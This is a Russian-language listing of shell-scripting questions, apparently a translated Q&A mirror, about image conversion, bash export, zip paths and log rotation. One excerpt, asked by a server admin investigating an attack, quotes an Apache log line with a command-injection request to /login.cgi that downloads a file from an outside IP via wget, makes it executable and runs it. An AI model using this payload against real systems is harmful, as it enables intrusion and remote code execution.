Вопросы с тегом «shell-script»

Сценарий оболочки - это сценарий, написанный для оболочки или интерпретатора командной строки операционной системы.

10
Пакетное преобразование PNG в JPG в Linux
Кто-нибудь знает хороший способ пакетного преобразования группы PNG в JPG в Linux? (Я использую Ubuntu). Двоичный файл png2jpg, который я мог бы просто вставить в сценарий оболочки, был бы идеальным.
163 linux  shell-script  jpeg  png 


7
перебирая результаты `ls` в скрипте bash
Есть ли у кого-нибудь шаблонный скрипт для работы с lsсписком имен каталогов, циклический просмотр каждого из них и выполнение чего-либо? Я планирую сделать, ls -1d */чтобы получить список имен каталогов.

3
Что делает экспорт в BASH? [Дубликат]
Возможный дубликат: разница между «a = b» и «export a = b» в bash Трудно признать, но я никогда не понимал, что именно exportделает переменную окружения. Я знаю, что если я не экспортирую переменную, я иногда не вижу ее в дочерних процессах, но иногда кажется, что могу. Что на самом …

15
Как выполнить файл .sh в Windows?
Когда я пытаюсь выполнить файл (name.sh) в командной строке с помощью команды ./name.sh, я получаю сообщение об ошибке: "" не распознается как внутренняя или внешняя команда, рабочий или пакетный файл пожалуйста, помогите мне выполнить файл .sh

4
Проверьте, соответствует ли какой-либо из параметров скрипта bash строке
Я пытаюсь написать скрипт, в котором я хочу проверить, соответствует ли какой-либо из параметров, переданных скрипту bash, строке. То, как я сейчас это настроил, if [ "$3" != "-disCopperBld" -a "$4" != "-disCopperBld" -a "$5" != "-disCopperBld" -a "$6" != "-disCopperBld"] но может быть большое количество параметров, поэтому мне было …

9
Журнал ротации стандартного выхода?
У меня есть программа для Linux, которая может записывать информацию в stdout и stderr. У меня есть сценарий оболочки, который перенаправляет этот вывод в файл в /var/log. (Через >>и 2>&1.) Есть ли способ заставить этот файл журнала вращаться? (максимальный размер, затем переключитесь на другой файл, оставьте только ограниченное количество файлов) …

3
Избегайте нежелательных путей в Zip-файле
Я делаю сценарий оболочки для упаковки некоторых файлов. Я архивирую каталог, как это: zip -r /Users/me/development/something/out.zip /Users/me/development/something/folder/ Проблема в том, что в результирующем архиве out.zip содержится полный путь к файлу. То есть в разархивированном виде он будет иметь полный путь "/ Users / me / development / anotherthing /". Можно …
49 macos  bash  zip  path  shell-script 


2
Что не так с «echo $ (вещи)» или «эхо` вещи` »?
Я использовал один из следующих echo $(stuff) echo `stuff` (где stuff, например, pwdили dateили что-то более сложное). Затем мне сказали, что этот синтаксис неправильный, плохая практика, не элегантный, чрезмерный, избыточный, чрезмерно сложный, программирование культа грузов, нубистский, наивный и т. Д. Но команда делает работу, так что именно случилось с ним?
31 shell-script  sh  echo 

2
Что делает этот скрипт bash? [Попытка взлома]
В последнее время я замечал на своих серверах логи apache, следующие странные строки: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" Поэтому я создал собственный фильтр Fail2Ban и начал блокировать IP-адреса, запрашивающие эти /login.cgi URL-адреса. Но мне было любопытно, что они пытались сделать, поэтому я вытащил …

5
Как извлечь полный список типов расширений в каталоге?
Внутри каталога и рекурсивно в его подкаталогах, что означает, что каждый каталог в каталоге обрабатывается, как мне составить полный список уникальных расширений в каталоге? ОС - это Windows XP со всеми текущими обновлениями, но я могу запустить скрипт, если смогу рассказать, что он делает, хотя я бы предпочел не устанавливать …

2
Сценарий оболочки отображает новую строку в файле
Я хочу отобразить новую строку в файле между переменными в сценарии оболочки. Вот мой код: var1 = "Hello" var2 = "Мир!" logwrite = "$ var1 [Здесь я хочу вставить новую строку] $ var2 echo "$ logwrite" >> /Users/username/Desktop/user.txt Прямо сейчас, когда я запускаю свой скрипт, файл user.txt показывает это: Привет, …

4
Как заменить часть текстового файла между маркерами другим текстовым файлом?
Скажем, у меня есть текстовый файл, как это: # custom content section a b ### BEGIN GENERATED CONTENT c d ### END GENERATED CONTENT Я хотел бы заменить часть между GENERATED CONTENTтегами содержимым другого файла. Какой самый простой способ сделать это?

3
Как обновить bash на Mac OS X Yosemite
Просто пытаюсь немного изучить скрипты bash. Моя старая версия Bash: Bash version 3.2.53(1)-release... Я обновил мой bash на Mac OS X Yosemite с помощью homebrew: brew update brew install bash Затем в свойствах терминала я изменил стандартный путь оболочки с /bin/bashна /usr/local/bin/bash(насколько я понимаю, именно здесь homebrew устанавливает обновленный bash). …

Используя наш сайт, вы подтверждаете, что прочитали и поняли нашу Политику в отношении файлов cookie и Политику конфиденциальности.
Licensed under cc by-sa 3.0 with attribution required.